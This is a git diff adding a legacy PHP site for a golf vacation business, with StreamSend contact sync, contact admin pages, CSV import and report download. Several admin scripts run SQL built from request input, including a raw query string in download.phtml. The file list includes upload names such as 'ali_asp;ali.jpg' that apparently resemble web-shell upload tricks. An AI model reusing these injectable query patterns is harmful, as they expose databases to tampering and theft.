images/html.gif [new file with mode: 0755]
images/left.gif [new file with mode: 0755]
images/letstalkgolf_title.jpg [new file with mode: 0755]
images/logo.gif [new file with mode: 0755]
images/redball.gif [new file with mode: 0755]
images/right.gif [new file with mode: 0755]
images/size.sh [new file with mode: 0755]
index-old.php [new file with mode: 0755]
index.php [new file with mode: 0644]
index_old.php [new file with mode: 0755]
layersmenu-demo.css [new file with mode: 0755]
layersmenu-gtk2.css [new file with mode: 0755]
letstalkgolf1.swf [new file with mode: 0755]
lib/PHPLIB.php [new file with mode: 0755]
lib/layersmenu-browser_detection.js [new file with mode: 0755]
lib/layersmenu-browser_detection.php [new file with mode: 0755]
lib/layersmenu-common.inc.php [new file with mode: 0755]
lib/layersmenu-footer.ijs [new file with mode: 0755]
lib/layersmenu-header.ijs [new file with mode: 0755]
lib/layersmenu-noscript.inc.php [new file with mode: 0755]
lib/layersmenu-process.inc.php [new file with mode: 0755]
lib/layersmenu.inc.php [new file with mode: 0755]
lib/layersmenu.js [new file with mode: 0755]
lib/layerstreemenu.ijs [new file with mode: 0755]
lib/phptreemenu.inc.php [new file with mode: 0755]
lib/plainmenu.inc.php [new file with mode: 0755]
lib/template.inc.php [new file with mode: 0755]
lib/treemenu.inc.php [new file with mode: 0755]
libjs/layersmenu-browser_detection.js [new file with mode: 0755]
libjs/layersmenu-footer.ijs [new file with mode: 0755]
libjs/layersmenu-glmhead.php [new file with mode: 0755]
libjs/layersmenu-header.ijs [new file with mode: 0755]
libjs/layersmenu-library.js [new file with mode: 0755]
libjs/layersmenu-see-through.js [new file with mode: 0755]
libjs/layersmenu.js [new file with mode: 0755]
libjs/layerstreemenu-cookies.js [new file with mode: 0755]
libjs/layerstreemenu.ijs [new file with mode: 0755]
navTable.html [new file with mode: 0755]
process_form.php [new file with mode: 0755]
qfcaptcha.php [new file with mode: 0755]
setup.phtml [new file with mode: 0755]
sitemap.inc [new file with mode: 0755]
templates/letstalkgolf.html [new file with mode: 0755]
test.php [new file with mode: 0755]
toolbox-file.css [new file with mode: 0755]
update-contact-table.sql [new file with mode: 0755]
userfiles/file/ali_asp;ali(1).jpg [new file with mode: 0755]
userfiles/file/ali_asp;ali.jpg [new file with mode: 0755]
userfiles/file/msphp_php(1).fla [new file with mode: 0755]
userfiles/file/msphp_php(1).gif [new file with mode: 0755]
userfiles/file/msphp_php(2).fla [new file with mode: 0755]
userfiles/file/msphp_php(2).gif [new file with mode: 0755]
userfiles/file/msphp_php.fla [new file with mode: 0755]
userfiles/file/msphp_php.gif [new file with mode: 0755]

diff --git a/.htaccess b/.htaccess
new file mode 100755 (executable)
index 0000000..9a7f7ff
--- /dev/null
+++ b/.htaccess
@@ -0,0 +1,4 @@
+RewriteEngine On
+#RewriteBase /contact.pineconevacations.com/
+RewriteRule ^.*-([0-9]*)/$ index\.phtml?catid=$1
+RewriteRule site-map sitemap.php
diff --git a/GLM_site_check.phtml b/GLM_site_check.phtml
new file mode 100644 (file)
index 0000000..867ede6
--- /dev/null
@@ -0,0 +1,12 @@
+<?php
+/*
+ * GLM Standard Site Monitoring Target
+ */
+
+define('HOST',   'ds4.gaslightmedia.com');
+define('USER',   'nobody');
+define('DBNAME', 'pineconevacations');
+
+// End of parameters to set for each site
+include '/var/www/templates/Global_site_check.phtml';
+?>
diff --git a/StreamSend.php b/StreamSend.php
new file mode 100755 (executable)
index 0000000..e2da39c
--- /dev/null
@@ -0,0 +1,201 @@
+<?php
+/**
+ * StreamSend.php
+ * 
+ * PHP version 5
+ * 
+ * All Right Reserved
+ * 
+ * @category  Contacts
+ * @package   Toolkit_Contacts
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: StreamSend.php,v 1.1 2010/03/17 19:31:19 matrix Exp $
+ * @link      <>
+ */
+
+/**
+ * Default parameters for contact create operations.
+ * Note that these are strings for use in XML data not true/false values.
+ * If false, the person will be created with a status of pending
+ */
+define('STREAMSEND_DEFAULT_ACTIVATE', 'false');
+/**
+  * If activate is false, setting this to true will trigger the sending of the built-in 
+  * activation notification; if activate is true, this setting has no effect
+  */
+define('STREAMSEND_DEFAULT_DELIVER_ACTIVATION', 'true');
+/**
+  * If activate is true, setting this to true will trigger the sending of the built-in 
+  * welcome notification; if activate is false, this setting has no effect
+  */
+define('STREAMSEND_DEFAULT_DELIVER_WELCOME', 'false');
+/**
+  * URI for streamsend API
+  */
+define('STREAMSEND_BASE_URL', "https://app.streamsend.com");
+
+/**
+ * Toolkit_Contacts_StreamSend
+ * 
+ * Contact support class for inergration with StreamSend API
+ * 
+ * @category  Contacts
+ * @package   Toolkit_Contacts
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @link      <>
+ */
+class Toolkit_Contacts_StreamSend
+{
+    // {{{ Class Properties
+
+
+    /**
+     * Description for public
+     * @var    boolean
+     * @access public 
+     */
+    public $debug = false;
+
+    /**
+     * streamSendFields
+     * 
+     * array with key values matching the gaslight contact tabel to the
+     * StreamSend field (normal fields)
+     * 
+     * @var    array    
+     * @access protected
+     */
+    protected $streamSendFields = array(
+        'email'    => 'email-address',
+        'fname'    => 'first-name',
+        'lname'    => 'last-name',
+        'address'  => 'address1',
+        'address2' => 'address2',
+        'city'     => 'city',
+        'state'    => 'stateprovince',
+        'zip'      => 'postal-code',
+        'phone'    => 'phone-number'
+    );
+
+    /**
+     * contactInqTypes
+     * 
+     * array with key values matching the gaslight contact_inq tabel to the
+     * StreamSend field (Radio fields)
+     * key   = id from contact_inq table
+     * value = name from contact_inq_table
+     * value is same name as the StreamSend fieldname
+     * 
+     * @var    array    
+     * @access protected
+     */
+    protected $contactInqTypes = array();
+
+    /**
+     * booleanTypes
+     * 
+     * StreamSend fields (boolean fields) an array of field names for the 
+     * boolean field types
+     * 
+     * @var    array    
+     * @access protected
+     */
+    protected $booleanTypes = array();
+    // }}}
+    // {{{ __construct()
+
+
+    /**
+     *  __construct(
+     * 
+     * @return void  
+     * @access public
+     */
+    public function __construct()
+    {
+    }
+
+
+    // }}}
+    // {{{ addContact()
+
+
+    /**
+     * addContact
+     * 
+     * Given $values from a Toolkit_Contacts Form add Contact
+     * 
+     * @param array $values Parameter description (if any) ...
+     *                         
+     * @return boolean Return true if successfull
+     * @access public 
+     */
+    public function addContact($values)
+    {
+        // check the array $values to make sure it is correct
+        if (is_array($values) && !empty($values)) {
+            include_once GLM_APP_BASE.'StreamSend/class_streamsend_api.inc';
+            // initialize the streamsend object
+            $ss = new streamSend (STREAMSEND_BASE_URL, STREAMSEND_LOGIN_ID, 
+                STREAMSEND_KEY);
+            $ss->debug = $this->debug;
+            $contactData = array();
+            $values[$type] = 1;
+            foreach ($this->streamSendFields as $glmName => $ssName) {
+                switch ($glmName) {
+                case "state":
+                    $contactData[$ssName] = ($values[$glmName]) ? $GLOBALS['states'][$values[$glmName]]: '';
+                    break;
+                default:
+                    $contactData[$ssName] = $values[$glmName];
+                    break;
+                }
+            }
+            foreach ($this->contactInqTypes as $contactInqId => $name) {
+                $slug = str_replace(" ", "-", strtolower($this->contactInqTypes[$contactInqId]));
+                if ($values['interest'][$contactInqId]) {
+                    $contactData[$slug] = 'Yes';
+                } else {
+                    $contactData[$slug] = 'No';
+                }
+            }
+            foreach ($this->booleanTypes as $name) {
+                if ($values[$name]) {
+                    $contactData[$name] = 'Yes';
+                } else {
+                    $contactData[$name] = 'No';
+                }
+            }
+            $contacts = $ss->contactCreate(
+                $contactData, 
+                STREAMSEND_DEFAULT_ACTIVATE, 
+                STREAMSEND_DEFAULT_DELIVER_ACTIVATION, 
+                STREAMSEND_DEFAULT_DELIVER_WELCOME
+            );
+            if (!$contacts) {
+
+                // show errors if on development server
+                switch (GLM_HOST_ID) {
+                case "DEVELOPMENT":
+                    echo "<p>A total and complete failure occured.";
+                    break;
+                case "PRODUCTION":
+                    break;
+                }
+            }
+            if ($ss->debug == true) {
+                echo '<p><h3>Debug Results</h3>'.$ss->debugBuffer.'</p>';
+            }
+            return true;
+        }
+        return false;
+    }
+
+
+    // }}}
+}
+?>
diff --git a/admin/.htaccess b/admin/.htaccess
new file mode 100755 (executable)
index 0000000..38dcd05
--- /dev/null
@@ -0,0 +1 @@
+RewriteEngine Off
diff --git a/admin/Contact/contact_inquiry.phtml b/admin/Contact/contact_inquiry.phtml
new file mode 100755 (executable)
index 0000000..1aeb8ef
--- /dev/null
@@ -0,0 +1,72 @@
+<?php
+include_once('../../setup.phtml');
+include("contact_setup.inc");
+top('Contact Inquiries','');
+html_nav_table($nav, $navWidth);
+$conn =& $DB->db_connect();
+if(!$conn) 
+       {
+               echo "No database connection";
+       }
+
+$qs = "SELECT  id,header,pos
+FROM   contact_inq
+ORDER BY pos;";
+
+$result = pg_Exec($conn,$qs);
+?>
+<table id="admin-list-table">
+<tr>
+  <th colspan=2>
+<form action="edit_inquiry.phtml" method="POST" name="f">
+<input type="submit" name="Command" value="Add Item">
+       </form>
+  </th>
+<tr>
+<?php
+if(pg_numrows($result) > 0) 
+{
+       for($i=0;$i<pg_numrows($result);$i++) 
+       {
+               $data = pg_fetch_array($result,$i);     
+               ?>
+                       <tr>
+                       <td width="10" nowrap><a href="edit_inquiry.phtml?id=<?echo $data[id]?>&Command=Edit">[Edit]</a></td>
+                       <td>
+                       <?
+                       $qs = "SELECT   MAX(pos) as maxpos
+                       FROM    contact_inq";
+
+               $maxresult = pg_exec($conn,$qs);
+               $max_data = pg_fetch_array($maxresult,0,PGSQL_ASSOC);
+               $maxpos = $max_data['maxpos'];
+               $pos = "<select style=\"font-size:10pt;\" name=pos 
+                       onChange=location.href=this[this.selectedIndex].value;
+               size=1>";
+               for($newpos=1;$newpos<=$maxpos;$newpos++) {
+                       $string = "Command=Move&id=$data[id]&newpos=$newpos";
+                       $pos .= "<option value=\"update_inquiry.phtml?$string\"";
+                       if($newpos == $data[pos]) {
+                               $pos .= " selected";
+                       }
+                       $pos .= ">$newpos</option>";
+               }
+               $pos .= "</select>";
+               echo $pos;
+               ?>
+                       </td>
+                       <td width=80% align=left><?echo $data[header]?>
+                       </tr>
+                       <?
+       }
+}
+else {
+       ?>
+               <tr><th colspan=2>Nothing in the database yet</th></tr>
+               <?
+}
+?>
+</table>
+<?
+footer();
+?>
diff --git a/admin/Contact/contact_setup.inc b/admin/Contact/contact_setup.inc
new file mode 100755 (executable)
index 0000000..246a6b5
--- /dev/null
@@ -0,0 +1,331 @@
+<?php
+//$Id: contact_setup.inc,v 1.2 2010/01/05 19:00:30 matrix Exp $
+if(!defined("ENTRIES_PER_PAGE"))
+       {
+               define("ENTRIES_PER_PAGE",10);  // Entries per Page in list_contact.phtml
+       }
+define("CUSTOMER_TABLE","customer");   // name of customer table
+define("CONTACT_TABLE","contact");             // name of contact table
+define("TABLE",CONTACT_TABLE);                 // which table to use
+define("DATEFORMAT","US");                             // date format (for edit_contact.phmtl)
+define("NEWSLETTER_PROTOTYPE","newsletter_template.html");                             // date format (for edit_contact.phmtl)
+include_once(BASE.'classes/class_db.inc');
+$DB =& new GLM_DB();
+/*
+   setup the following in the setup.phtml (in root directory) file.
+defines:
+HTML_EMAIL = ON or OFF
+PRODUCTION_MODE = ON ,r OFF
+ */
+if(!defined("HTML_EMAIL"))
+       {
+       define("HTML_EMAIL","ON");
+       }
+if(!defined("PRODUCTION_MODE"))
+       {
+       define("PRODUCTION_MODE","ON");
+       }
+if(!defined("NEWSLETTER"))
+       {
+   define("NEWSLETTER",1); //bool- does the contact database mail out a newsletter? 
+       }
+
+if(!function_exists("template_read"))
+       {
+               function template_read($template)
+               {
+                       $fp = fopen($template, "r");
+                       $contents = fread($fp,filesize($template));
+                       fclose($fp);
+                       if($contents)
+                       {
+                               return $contents;
+                       }
+                       else
+                       {
+                               return "";
+                       }
+               }
+       }
+
+if(!function_exists("explode_template"))
+       {
+               function explode_template($template,$data)
+               {
+                       $template = template_read($template);
+                       $output = template_replacement($template,$data);
+                       $output = wordwrap($output, 72);
+                       return($output);
+
+               }
+       }
+
+if(!function_exists("template_replacement"))
+       {
+               function template_replacement($template,$fieldarr)
+               {
+                       if(is_array($fieldarr))
+                       {
+                               foreach($fieldarr as $key=>$value)
+                               {
+                                       $template = str_replace( "<!-- ".$key." -->", $value, $template );
+                               }
+                       }
+
+                       return $template;
+               }
+       }
+if(!function_exists("add_image"))
+       {
+               function add_image($image,$align)
+               {
+                       if($image != "")
+                       {
+                               return('<div style="margin:5px;float:'.$align.';"><img src="'.MIDSIZED.$image.'"></div>');
+                       }
+               }
+       }
+
+
+// Navigation array
+$nav = array(
+               "Report Builder" => "index.phtml",
+               "Add Contact" => "edit_contact.phtml",
+               "List Contacts" => "list_contact.phtml",
+               "Contact Inquiry Fields" => "contact_inquiry.phtml",
+               "HTML Emails" => "emails.php",
+               "Saved Reports" => "list_query.phtml",
+               );
+$navWidth = 7;
+$query = "select * from contact_inq order by pos;";
+$cData = db_auto_get_data($query);
+if( is_array( $cData ) )
+{
+       foreach( $cData as $key => $value )
+       {
+               $int_array[$value['id']] = $value['header'];
+       }
+}
+function search_where( $name, $search_where )
+{
+       $out = '
+               <select name="'.$name.'">
+  <option value="1" '.( ( !isset( $search_type ) || $search_type == "0" ) ? 'selected' : '' ).'>Anywhere 
+  <option value="2" '.( ( $search_where == '1' ) ? 'selected' : '' ).'>Begining 
+  <option value="3" '.( ( $search_where == '2' ) ? 'selected' : '' ).'>Ending
+  </select>';
+       return( $out );
+}
+function search_type( $name, $search_type )
+{
+       $out = '
+               <select name="'.$name.'">
+  <option value="2" '.( ( !isset( $search_type ) || $search_type == '2' ) ? 'selected' : '' ).'>And 
+  <option value="3" '.( ( $search_type == '3' ) ? 'selected' : '' ).'>Or
+  <option value="4" '.( ( $search_type == '4' ) ? 'selected' : '' ).'>Not
+  </select>';
+       return( $out );
+}
+function search_bool( $name, $search_type )
+{
+       $out = '
+               <select name="'.$name.'">
+  <option value="" '.( !isset( $search_type ) ? 'selected' : '' ).'> 
+  <option value="Y" '.( ( $search_type == 'Y' ) ? 'selected' : '' ).'>Yes
+  <option value="N" '.( ( $search_type == 'N' ) ? 'selected' : '' ).'>No
+  </select>';
+       return( $out );
+}
+function interest($field)
+{              
+    global $int_array;
+    if( !is_array( $int_array ) )
+    {
+        return( false );
+    }
+    echo "<table><tr>";
+    $count = 0;
+    foreach($int_array as $key=>$value)
+    {
+        if($count==0)
+            echo "<td>";               
+        echo "<input type=\"checkbox\" name=\"interest[]\" value=\"$key\"";
+        if(strstr($field,":".$key.":"))
+            echo " checked";                           
+        echo ">$value<br>";            
+        if($count==5)
+            echo "</td><td>";          
+        if($count==11)
+            echo "</td>";              
+        $count++;              
+    }          
+    echo "</tr></TABLE>";
+}
+function courseSelect($DB, $id)
+{
+    static $courses;
+    if (ctype_digit($id)) {
+        $sql = "
+        SELECT *
+          FROM contact_course
+         WHERE contact_id = {$id}";
+        if ($cData = $DB->db_auto_get_data($sql)) {
+            foreach ($cData as $cRow) {
+                $contactData[$cRow['course_id']] = true;
+            }
+        }
+    }
+    if (!$courses) {
+        $sql = "
+          SELECT id,name
+            FROM courses
+        ORDER BY name";
+        if ($data = $DB->db_auto_get_data($sql)) {
+            $num = count($data);
+            $cut = ceil($num / 2);
+            $out = "<table>
+                <tr>
+                    ";
+            $count = 1;
+            foreach ($data as $row) {
+                if ($count == 1) {
+                    $out .= "
+                    <td>
+                        ";             
+                }
+                $out .= "<input type=\"checkbox\" name=\"courses[]\" value=\"{$row['id']}\"";
+                if ($contactData[$row['id']]) {
+                    $out .= " checked";                                
+                }
+                $out .= ">{$row['name']}<br>
+                ";             
+                if ($count == $cut) {
+                    $out .= "
+                </td>
+                <td>
+                    ";         
+                }
+                if ($count == $num) {
+                    $out .= "
+                </td>
+                ";             
+                }
+                ++$count;              
+            }
+            $out .= "
+    </tr></table>";
+        }
+    }
+    return $out;
+}
+
+// default query on create_date
+$c_date_from  = contact_date_entry("","","","fc_month","fc_day","fc_year");
+$c_date_to  = contact_date_entry("","","","tc_month","tc_day","tc_year");
+/*     The following is for setting up the defines and arrays that are needed 
+ *     based on which table ( customer or contact ) in use
+ *  formats for arrays
+ *     $DB_fields[] = array( name =>"{FIELD NAME}", title => "{FIELD TITLE}", type => "{FIELD TYPE}")
+ *  $fields["{FIELD_NAME}"] = "{FIELD TITLE}";
+ *
+ *     must have these defines
+ *     ID - The primary key
+ *     SEQUENCE - sequence name
+ *     WHERE - where clause
+ */
+if(TABLE==CUSTOMER_TABLE)
+       {
+               define("ID","cust_id");
+               define("MAILOK","mail_ok");
+               define("SEQUENCE","custkey");
+               define("WHERE","fname != '-Guest-'");
+               // $DB_fields are used for edit and updating contacts
+               $DB_fields[] =  array( name => "cust_id",       title => "cust_id",     type => "hide");
+               $DB_fields[] =  array( name => "purch_date",title => "Last Purchase Date",      type => "static");
+               $DB_fields[] =  array( name => "access_date",title => "Last Access Date",type => "static");
+               $DB_fields[] =  array( name => "create_date",title => "Create Date",type => "static");
+               $DB_fields[] =  array( name => "fname",         title => "First Name",  type => "text");
+               $DB_fields[] =  array( name => "lname",         title => "Last Name",   type => "text");
+               $DB_fields[] =  array( name => "add1",          title => "Address 1",   type => "text");
+               $DB_fields[] =  array( name => "add2",          title => "Address 2",   type => "text");
+               $DB_fields[] =  array( name => "city",          title => "City",                type => "text");
+               $DB_fields[] =  array( name => "state",         title => "State",               type => "text");
+               $DB_fields[] =  array( name => "zip",           title => "Zip",                 type => "text");
+               $DB_fields[] =  array( name => "email",         title => "Email",               type => "text");
+               $DB_fields[] =  array( name => "phone",         title => "Phone",               type => "text");
+               $DB_fields[] =  array( name => "fax",           title => "Fax",                 type => "text");
+               $DB_fields[] =  array( name => "org",           title => "Org",                 type => "text");
+               $DB_fields[] =  array( name => "referred_by",title => "Refered By",     type => "text");
+               $DB_fields[] =  array( name => "mail_ok",       title => "Mail Ok?",    type => "radio");
+               // $fields are used for building the query page
+               foreach($DB_fields as $key=>$value){
+                       if($value['type'] == "text")
+                               $fields[$value['name']] = $value['title'];
+               }
+               // date query fields
+               $p_date_from = contact_date_entry("","","","fp_month","fp_day","fp_year");
+               $p_date_to = contact_date_entry("","","","tp_month","tp_day","tp_year");
+               $a_date_from  = contact_date_entry("","","","fa_month","fa_day","fa_year");
+               $a_date_to  = contact_date_entry("","","","ta_month","ta_day","ta_year");
+       }
+else
+       {
+               define("ID","id");
+               define("MAILOK","mail_ok");
+               define("SEQUENCE","contact_id_seq");
+               define("WHERE",ID." IS NOT NULL");
+               // $DB_fields are used for edit and updating contacts
+               $DB_fields[] =  array( name => "id",            title => "id",                  type => "hide");
+               $DB_fields[] =  array( name => "create_date",title => "Create Date",type => "static");
+               $DB_fields[] =  array( name => "fname",         title => "First Name",  type => "text");
+               $DB_fields[] =  array( name => "lname",         title => "Last Name",   type => "text");
+               $DB_fields[] =  array( name => "company",       title => "Company Name",type => "text");
+               $DB_fields[] =  array( name => "address",       title => "Address",     type => "text");
+               $DB_fields[] =  array( name => "address2",      title => "Address 2",   type => "text");
+               $DB_fields[] =  array( name => "city",          title => "City",                type => "text");
+               $DB_fields[] =  array( name => "state",         title => "State",               type => "state");
+               $DB_fields[] =  array( name => "zip",           title => "Zip",                 type => "text");
+               $DB_fields[] =  array( name => "phone",         title => "Phone",               type => "text");
+               $DB_fields[] =  array( name => "cellphone",     title => "Cell Phone",          type => "text");
+               $DB_fields[] =  array( name => "fax",           title => "Fax",                 type => "text");
+               $DB_fields[] =  array( name => "email",         title => "Email",               type => "text");
+               $DB_fields[] =  array( name => "contactby",title => "Contact by",type => "text");
+               
+               $DB_fields[] =  array( name => "arrive1",               title => "Arrive 1",            type => "text");
+               $DB_fields[] =  array( name => "depart1",               title => "Depart 1",            type => "text");
+               $DB_fields[] =  array( name => "arrive2",               title => "Arrive 2",            type => "text");
+               $DB_fields[] =  array( name => "depart2",               title => "Depart 2",            type => "text");
+               $DB_fields[] =  array( name => "numberofgolfers",title => "Number of Golfers",type => "text");
+               $DB_fields[] =  array( name => "days_playing_golf",title => "Days Playing Golf",type => "text");
+               $DB_fields[] =  array( name => "property",              title => "Property",            type => "text");
+               //$DB_fields[] =        array( name => "golfcourse",            title => "Golf Course",                 type => "text");
+               $DB_fields[] =  array( name => "golfcourse",    title => "Golf Courses",        type => "courses");
+               $DB_fields[] =  array( name => "teetime",               title => "Tee Times",           type => "text");
+               
+               $DB_fields[] =  array( name => "heardabout",            title => "Heard About",                 type => "drop", "drop"=>array(''=>'-- Options --','Internet'=>'Internet','Magazine Ad'=>'Magazine Ad','Newspaper'=>'Newspaper','Radio'=>'Radio','Referral'=>'Referral','Other'=>'Other'));
+               $DB_fields[] =  array( name => "mail_ok",       title => "Mail Ok?",    type => "radio");
+               $DB_fields[] =  array( name => "letstalkgolf",  title => "Lets Talk Golf?",     type => "radio");
+               $DB_fields[] =  array( name => "interest",      title => "Interest",    type => "interest");
+               $DB_fields[] =  array( name => "additionalinformation",title => "Additional Info",      type => "desc");
+               // $fields are used for building the query page
+               foreach($DB_fields as $key=>$value)
+               {
+                       if($value['type'] == "text" || $value['type'] == "state")
+                       {
+                               $fields[$value['name']] = $value['title'];
+                       }
+                       elseif( $value['type'] == "radio" )
+                       {
+                               $boolean[$value['name']] = $value['title'];
+                       }
+               }
+       }
+$data['bailout'] = "<br clear=\"all\"><br>-------------------------------------------------------------------<br>";
+$data['bailout'] .= "You are receiving this message because you have expressed an interest in<br>";
+$data['bailout'] .= "receiving specials and information from ".SITENAME.". If you do not<br>";
+$data['bailout'] .= "wish to receive future items of this nature, please reply to this e-mail<br>";
+$data['bailout'] .= "with the word \"CANCEL\" on the subject line. You will then be removed <br>";
+$data['bailout'] .= "from future mailings.<br>";
+$data['bailout'] .= "<a href=\"mailto:".OWNER_EMAIL."?subject=CANCEL\">".OWNER_EMAIL."</a><br>";
+$data['bailout'] .= "-------------------------------------------------------------------<br>";
+?>
diff --git a/admin/Contact/csv.inc b/admin/Contact/csv.inc
new file mode 100755 (executable)
index 0000000..0fd20c7
--- /dev/null
@@ -0,0 +1,195 @@
+<?
+class CSV
+{
+       var $splitchar = '"';
+       var $read_topline = true;
+       var $lines_end_with_splitchar = false;
+       var $columns;
+       var $check_columns;
+       
+       function parse_string($string)
+       {
+               if($this->splitchar=="@")
+                       $quotereplace="!!!!xCROMULENTx!!!!";
+               else
+                       $quotereplace="@@@@CROMULENT@@@@";
+               $string = preg_replace("/\"\"/", $quotereplace, $string);
+               $chars = preg_split("//", $string);     
+               
+               if($chars[(sizeof($chars)-1)] != "\n")
+                       $chars[] = "\n";
+               
+               $state=1;
+               for($count=0; $count<sizeof($chars);++$count)
+               {
+                       $char = $chars[$count];
+                       switch($state)
+                       {
+                               case 1: // "Normal" state, check each character
+                                       if($char=='"') // If it's a quotation mark, skip to state 2
+                                               $state=2;
+                                       elseif($char==$this->splitchar) // If it's the variable separator, tack this onto $record and start a new $cell.
+                                       {
+                                               $cell = preg_replace("/$quotereplace/", "\"", $cell);
+                                               $record[] = $cell;
+                                               unset($cell);
+                                       }
+                                       elseif($char=="\n") // If it's a linefeed, tack this onto $record, tack $record onto $table, and start again
+                                       {
+                                               $cell = preg_replace("/$quotereplace/", "\"", $cell);
+                                               if(!$this->lines_end_with_splitchar)
+                                                       $record[] = $cell;
+                                               elseif($cell != '')
+                                                       $record[] = $cell;
+                                               unset($cell);
+                                               $table[] = $record;
+                                               unset($record);
+                                       }
+                                       else                    // Otherwise, just add this onto $cell
+                                               $cell .= $char;
+                               break;
+                               case 2: // State when we're in-between quotation marks
+                                       if($char=='"')  // If it's a quotation mark, save this value and switch to state 1
+                                               $state=1;
+                                       else                    // Otherwise, add this onto $cell
+                                               $cell .= $char;
+                               break;
+                       }       
+               }
+       
+               if(!$this->read_topline)
+                       array_splice($table, 0, 1);
+               
+               $lastindex = sizeof($table)-1;
+               if(sizeof($table[$lastindex])<sizeof($table[0]))
+                       array_splice($table, -1);
+
+               return $table;
+       }
+       
+       function read_file($filename)
+       {
+               $fp = fopen($filename, "r");
+               $data = fread($fp, filesize($filename));
+               fclose($fp);
+               
+               return $this->parse_string($data);
+       }
+       
+       function set_splitchar($char)
+       {
+               $this->splitchar=$char;
+       }
+       
+       function set_read_topline($bool)
+       {
+               $this->read_topline=$bool;
+       }
+       
+       function set_lines_end_with_splitchar($bool)
+       {
+               $this->lines_end_with_splitchar=$bool;
+       }
+       
+       // Okay, everything below this line is insane alpha code. If you have any troubles with
+       // this class, don't hesitate to wipe it out.
+       
+       // Easy enough. You take the name of a column in a target table, and
+       // its corresponding index number (starting with zero :) in the text file.
+       function define_column($colname, $fieldno, $check_this=null)
+       {
+               $this->columns[$fieldno] = $colname;
+               if(isset($check_this)) $this->check_columns[]=$colname;
+       }
+       
+       function check_columns()
+       {
+               $cols = func_get_args();
+               foreach($cols as $col)
+                       $this->check_columns[] = $col;
+       }
+       
+       function insert_into_table($data, $tablename, $conn)
+       {
+               $table = $conn->get_table_metadata($tablename);
+                                               
+               foreach($data as $row)
+               {
+                       // First - build an associative array of columns matched to values.
+                       foreach($this->columns as $num=>$colname)
+                       {
+                               $value = $row[$num];
+                               settype($value, $table[$colname]);
+                               if( !$value && $colname == 'email' ){
+                                       $value="NULL";
+                               }
+                               elseif(is_string($value)){
+                                       $value="'".$value."'";
+                               }
+                               
+                               $rowdata[$colname] = $value;
+                       }
+                       
+                       // Next - if necessary, check to ensure the data isn't already
+                       // in the database.
+                       $date = date("m-d-Y");
+                       if(isset($this->check_columns))
+                       {
+                               $sqlstring = "SELECT id FROM $tablename WHERE ";
+                               if($rowdata['email'] != "NULL"){
+                                       $sqlstring .= "email = {$rowdata['email']} OR (";
+                               }
+                               $commachar = "";
+                               foreach($this->check_columns as $check_colname)
+                               {
+                                       $sqlstring .= $commachar.$check_colname.'='.$rowdata[$check_colname];
+                                       $commachar = " AND ";
+                               }
+                               if($rowdata['email'] != "NULL"){
+                                       $sqlstring .= ")";
+                               }
+                       //      echo '<p>'.$sqlstring.'</p>';
+                               
+                               $rs = new ResultSet($sqlstring, $conn);
+                               if($rs->numrows() > 0)
+                               {
+                                       $duplicates[] = $rowdata;
+                                       $myData = $rs->next();
+                                       // update the duplicate records with new create_date
+                                       $query = "UPDATE $tablename set create_date = '$date' WHERE id = ".$myData['id'];
+                                       new Query($query, $conn);
+
+                                       continue;
+                               }
+                       }
+               //      echo '<pre>';
+               //      print_r($rowdata);
+               //      echo '</pre>';
+               //      exit;
+                       // Assuming the continue statement didn't kick us out into another
+                       // row, it's okay now to add the record into the database.
+                       //
+                       // Hey, quick thought - why does ALL program documentation take place
+                       // in the plural second person? "WE" should think about that.
+                       $sqlstring1 = "INSERT INTO $tablename(create_date,";
+                       $sqlstring2 = ") VALUES ('$date',";
+                       $commachar = "";
+
+                       foreach($rowdata as $key=>$val)
+                       {
+                               $sqlstring1 .= $commachar.$key;
+                               $sqlstring2 .= $commachar.$val;
+                               $commachar = ", ";
+                       }
+                       $sqlstring = $sqlstring1.$sqlstring2.")";
+                       new Query($sqlstring, $conn);
+               }
+               return $duplicates;
+       }
+       
+       function insert_file_into_table($filename, $tablename, $conn)
+       {
+               $data = $this->read_file($filename);
+               return $this->insert_into_table($data, $tablename, $conn);
+       }
+}
diff --git a/admin/Contact/del_query.phtml b/admin/Contact/del_query.phtml
new file mode 100755 (executable)
index 0000000..9d7dfb8
--- /dev/null
@@ -0,0 +1,18 @@
+<?php
+//$Id: del_query.phtml,v 1.1.1.1 2009/12/18 17:46:59 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+$qs = "DELETE 
+          FROM         query_db 
+          WHERE        id = $id";
+
+if(!db_auto_exec($qs)) html_error(DB_ERROR_MSG.$qs,1);
+html_header("Admin","Deleted","");
+?>
+<script lang="javascript">
+document.onload=window.opener.location.reload(1);
+</script>
+Query <?echo $id?> is Deleted
+<center><a href="" onClick="window.close();return(false);">Close This
+Window</a></center>
diff --git a/admin/Contact/download.phtml b/admin/Contact/download.phtml
new file mode 100755 (executable)
index 0000000..614dacb
--- /dev/null
@@ -0,0 +1,129 @@
+<?
+/*****************************************************************************
+* File download 
+* Author: Steve Sutton
+*
+* pass $query_string
+* 
+*****************************************************************************/
+//$Id: download.phtml,v 1.2 2010/01/05 19:00:30 matrix Exp $
+require_once "../../setup.phtml";
+require_once "contact_setup.inc";
+if (!$dbd = db_connect()) {
+       die("Warning: FATAL! No Connection to DB_SERVER");
+}
+pg_exec($dbd, "BEGIN WORK;");
+$sql = "
+ PREPARE get_courses(int) AS
+  SELECT name
+    FROM courses
+   WHERE id IN (
+         SELECT course_id
+           FROM contact_course
+          WHERE contact_id = $1)
+ORDER BY name";
+pg_exec($dbd, $sql);
+$delimiter = str_replace("comma",",",$delimiter);
+$delimiter = str_replace("tab","\t",$delimiter);
+$delimiter = str_replace("csv",",",$delimiter);
+$delimiter = str_replace("pipe","|",$delimiter);
+
+if ($query_string) {
+       /* Remove the old reports if they exsists */ 
+    if (is_file("report.csv")) {
+               unlink("report.csv");
+    }
+    if (is_file("report.tar.gz")) {
+               unlink("report.tar.gz");
+    }
+    if (is_file("report.zip")) {
+           unlink("report.zip");
+    }
+                       
+    if (!$fp = fopen("report.csv","w")) {
+               html_error("Cant open report",0);
+    }
+       $query_string = stripslashes($query_string);
+       //$query_string = str_replace("SELECT ".ID.",","SELECT ",$query_string);
+
+    if (!$res = pg_Exec($dbd,$query_string)) {
+               echo "failed to ->".$query_string;                      
+    }
+       if (pg_numrows($res)>0) {
+               for($i=0;$i<pg_numrows($res);$i++) {
+                       $result_string = "";
+                       $row = pg_fetch_array($res,$i,PGSQL_ASSOC);
